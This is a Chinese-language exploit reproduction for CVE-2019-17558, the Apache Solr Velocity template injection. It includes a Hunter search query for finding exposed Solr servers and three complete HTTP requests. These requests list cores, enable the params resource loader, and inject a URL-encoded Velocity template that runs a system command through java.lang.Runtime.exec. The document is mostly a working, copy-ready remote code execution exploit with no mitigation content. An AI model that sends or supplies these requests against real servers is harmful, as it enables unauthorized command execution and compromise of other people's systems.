Apache Solr Velocity模版注入远程命令执行漏洞（CVE-2019-17558）
一、漏洞简介
Apache Solr是Apache Lucene项目的开源企业搜索平台。其主要功能包括全文检索、命中标示、分面搜索、动态聚类、数据库集成以及富文本的处理。Apache Solr存在模版注入漏洞。攻击者通过未授权访问Solr服务器，发送特定的数据包开启params.resource.loader.enabled,而后get访问接口导致远程命令执行漏洞
二、影响版本
Apache Solr 5.0.0~8.3.1
三、资产测绘
- hunter
app.name="Solr" - 登录页面
四、漏洞复现
- 默认情况下
params.resource.loader.enabled配置未打开，无法使用自定义模版，可以通过api获取所有核心core
GET /solr/admin/cores?indexInfo=false&wt=json HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
- 启用配置
params.resource.loader.enabled,其中API路径包含刚才获取的core名称
POST /solr/class/config HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 259
{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}
- 查询
params.resource.loader.enabled是否开启
- 通过注入Velocity模板即可执行任意命令
GET /solr/class/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1